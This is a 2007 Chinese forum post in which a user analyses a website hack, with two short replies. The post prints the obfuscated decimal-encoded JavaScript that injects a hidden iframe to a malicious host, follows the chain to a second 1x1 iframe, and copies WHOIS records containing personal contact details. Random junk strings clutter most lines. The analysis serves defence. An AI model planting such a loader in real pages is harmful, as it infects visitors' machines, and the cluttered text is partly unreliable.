社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5716阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, `[[ A 7  
.DIHd/wA  
http://www.areway.cn/?p=175 Xq,{)G%9nM  
h2K1|PUKl[  
gy,B+~p  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: qJUu9[3'm  
          (7&[!PS  
<script>t=’60,105,102,114,97,109,101, %5$yz|:  
32,115,114,99,61,104,116,116,112,58,47,47, 8q}`4wCD$  
102,114,101,101,46,117,45,117,117,117,46,99, <{:$ ]3  
110,47,101,114,114,111,114,46,104,116,109, & Z*&&  
32,119,105,100,116,104,61,49,48,48,32,104, , En D3 |  
101,105,103,104,116,61,48,62,60,47,105,102, {-tCLkE 3  
114,97,109,101,62′; |G!-FmIK  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> L~CwL  
                                                                                                  |Kh#\d  
<script>t=’60,105,102,114,97,109,101,32,115, `UGHk*DL)  
114,99,61,104,116,116,112,58,47,47,102,114,  pb6z)8  
101,101,46,117,45,117,117,117,46,99,110,47, %E,s*=j  
101,114,114,111,114,46,104,116,109,32,119, @/yef3  
105,100,116,104,61,49,48,48,32,104,101,105, [iB`- dE,  
103,104,116,61,48,62,60,47,105,102,114,97, 67%o83\  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); +Z#lf  
document.write(t);</script> 89?AcZ.D  
                                                                                                  ?HAWw'QW  
<html xmlns=” |'Z6M];8t  
http://www.w3.org/1999/xhtml n:x6bPal]  
“> Nq Ve{+1x  
<head> m<hR Lo  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> /a(xUm@.  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> /5EM;Mx  
<title>首页 - 爱生活家庭网 Z[[ @O  
                                                                                                                                                    QzCu$ [  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。  ze{  
转换字符串后的大概内容是(谁点击后果自付): 9g|o17  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… tFO86 !ln  
                                                                                                                                  ku&IVr%  
查询玉米u-uuu.cn的详细信息: Ws{2+G~  
Domain Name: u-uuu.cn aU4v-9@U8  
ROID: 20070901s10001s64972306-cn 2y`rS _2  
Domain Status: ok lt`#or"o  
Registrant Organization: 王雷 BMgiXdv.B  
Registrant Name: 王雷 *&^`Uk,[  
Administrative Email: czlovexs@126.com $x)C_WZj?  
Sponsoring Registrar: 北京万网志成科技有限公司 v=RQ"iv8  
Name Server:ns.yovole.com ^dM,K p  
Name Server:ns1.yovole.com zkA"2dh  
Registration Date: 2007-09-01 17:54 ;n?H/(6X8>  
Expiration Date: 2008-09-01 17:54 z%<Z#5_N  
最后PING了一下地址 都没有什么…. $&OoxC  
                                                                                                ag+$qU  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. oEGe y8?  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> gR )xw)!  
<script language=”javascript” src=” ~kj1L@gy   
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script W4Tuc:X5  
> t n>$5}^;  
这个玉米应该有可能是木马作者的: 4U( W~O  
foafau.info的详细信息: UMuRB>ey  
Access to INFO WHOIS information is provided to assist persons in 0L9z[2sj  
determining the contents of a domain name registration record in the hWP$U  
Afilias registry database. The data in this record is provided by k}(C.`.  
Afilias Limited for informational purposes only, and Afilias does not 6av]L YK  
guarantee its accuracy.  This service is intended only for query-based :} i #ODJ  
access. You agree that you will use this data only for lawful purposes n3SCiSr  
and that, under no circumstances will you use this data to: (a) allow, %ZDo;l+<F6  
enable, or otherwise support the transmission by e-mail, telephone, or F]:@?}8R  
facsimile of mass unsolicited, commercial advertising or solicitations Ml@,xJ/aia  
to entities other than the data recipient’s own existing customers; or {=pRU_-^  
(b) enable high volume, automated, electronic processes that send _e E(P1  
queries or data to the systems of Registry Operator, a Registrar, or xxpvVb)mF  
Afilias except as reasonably necessary to register domain names or )S]4 Kt_  
modify existing registrations. All rights reserved. Afilias reserves z^;*&J   
the right to modify these terms at any time. By submitting this query, A'^y+42jY  
you agree to abide by this policy. &!x!j ,nT  
Domain ID:D22418703-LRMS *fQ$s  
Domain Name:FOAFAU.INFO IV]s!  
Created On:20-Nov-2007 16:05:42 UTC EZ15  
Last Updated On:20-Nov-2007 16:05:44 UTC RP?UKOc  
Expiration Date:20-Nov-2008 16:05:42 UTC S:"R/EE(  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) p(-f$Q(  
Status:CLIENT DELETE PROHIBITED IxNY%&* `  
Status:CLIENT RENEW PROHIBITED n}Pz:  
Status:CLIENT TRANSFER PROHIBITED h&|q>M3  
Status:CLIENT UPDATE PROHIBITED @ )owj^sA  
Status:TRANSFER PROHIBITED 2K0HN  
Registrant ID:GODA-040110615 ]@wee08  
Registrant Name:liu hong 6`Zx\bPDm  
Registrant Organization: ;5urIYd  
Registrant Street1:beijing xXp$Nm]:  
Registrant Street2: )u)]#z  
Registrant Street3: jq#uBU %  
Registrant City:beijing i"V2=jTeBv  
Registrant State/Province: @F%H 1  
Registrant Postal Code:100000 X458%)G!(K  
Registrant Country:CN cOkjeHs 5  
Registrant Phone:+86.860108888777 %eW[`uyV  
Registrant Phone Ext.: A2LqBirkl  
Registrant FAX: ,1J+3ugp&  
Registrant FAX Ext.: vN'Y);$  
Registrant Email:bbbshiji@163.com ?0QoYA@.$  
Admin ID:GODA-240110615 wcDHx#~  
Admin Name:liu hong )`<- c2  
Admin Organization: )L fXb9}  
Admin Street1:beijing %%5K%z,R#  
Admin Street2: +o^b ,!  
Admin Street3: A2.[P==  
Admin City:beijing g).k+  
Admin State/Province: Lx6C fR  
Admin Postal Code:100000 p^S]O\;M7  
Admin Country:CN A14}  
Admin Phone:+86.860108888777 Hyx%FN=  
Admin Phone Ext.: &.~Xl:lq  
Admin FAX: s4h3mypw  
Admin FAX Ext.: UlF=,0P  
Admin Email:bbbshiji@163.com }A)>sQ  
Billing ID:GODA-340110615 =iF}41a  
Billing Name:liu hong [+dOgyK  
Billing Organization: v,qK= ]ty  
Billing Street1:beijing DY<Br;  
Billing Street2: Huzw>  
Billing Street3: Q%:#xG5AmE  
Billing City:beijing 8JvF4'zx  
Billing State/Province: H~y 7o_tg  
Billing Postal Code:100000 s"G;rcS}#  
Billing Country:CN l;_zXN   
Billing Phone:+86.860108888777 ^wDZg`  
Billing Phone Ext.: $w!;~s  
Billing FAX: AT.WXP0$A  
Billing FAX Ext.: N&ZIsaK,j  
Billing Email:bbbshiji@163.com iF:`rIC  
Tech ID:GODA-140110615 BCN<l +u  
Tech Name:liu hong QJ1_LJ4)a  
Tech Organization: |_7nvck  
Tech Street1:beijing iX ;E"ov]  
Tech Street2: Eo)w f=rE9  
Tech Street3: 2' fg  
Tech City:beijing rWk4)+Tk  
Tech State/Province: @w:6m&KL9  
Tech Postal Code:100000 @ChEkTn  
Tech Country:CN d9@!se9&Z  
Tech Phone:+86.860108888777 K& / rzs-  
Tech Phone Ext.: U)mg]o-VE  
Tech FAX: =<~/U?  
Tech FAX Ext.: `}uOl C]I  
Tech Email:bbbshiji@163.com ,#;%ILF4%  
Name Server:NS27.DOMAINCONTROL.COM 2Hltgt,  
Name Server:NS28.DOMAINCONTROL.COM e]N?{s   
Name Server: G;r-f63N  
Name Server: } ti+tM*  
Name Server: pi`sx[T@{Z  
Name Server: qgTN %%"~  
Name Server: eLC}h %  
Name Server: 2x3'm  
Name Server: OFS` ?>  
Name Server: ]u~6fknm  
Name Server: h ]'VAt  
Name Server: CH h]v.V  
Name Server: Ga o(3Y  
                                                                                                          /y2upu*!  
接着下载每个文件里面的代码: sA6Ku(9  
一步一步看.. \g|u|Y.2[  
;-Bi~XD  
jTjGbC]X  
TM_ MJp  
.^]=h#[e  
M+Rxt.~6  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五